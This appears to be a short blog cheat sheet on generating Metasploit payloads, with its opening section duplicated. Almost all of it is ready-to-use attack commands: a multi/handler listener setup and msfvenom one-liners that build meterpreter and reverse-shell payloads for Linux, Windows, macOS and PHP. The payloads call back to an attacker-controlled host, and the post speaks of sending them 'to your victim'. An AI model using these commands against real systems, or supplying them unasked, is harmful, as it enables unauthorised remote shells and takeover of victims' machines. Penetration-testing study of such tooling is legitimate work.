Creating Metasploit Payloads
Metasploit - Most Used Pen Testing Tool
Usually when you use metasploit, you need to create a payload and send that payload to your victim.
Here is some useful command to create payload for many platform.
Acronym for this post:
LHOST: local host - commonly is attacker IP
LPORT: local port - default is 4444
RHOST: remote host - commonly is victim IP
use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false
exploit -j -z
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
Metasploit - Most Used Pen Testing Tool
Usually when you use metasploit, you need to create a payload and send that payload to your victim.
Here is some useful command to create payload for many platform.
Acronym for this post:
LHOST: local host - commonly is attacker IP
LPORT: local port - default is 4444
RHOST: remote host - commonly is victim IP
[Handlers]
Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false
exploit -j -z
[List payloads]
msfvenom -l[Binaries]
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exeMac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
[Web Payloads]
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.phpcat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
Comments
Post a Comment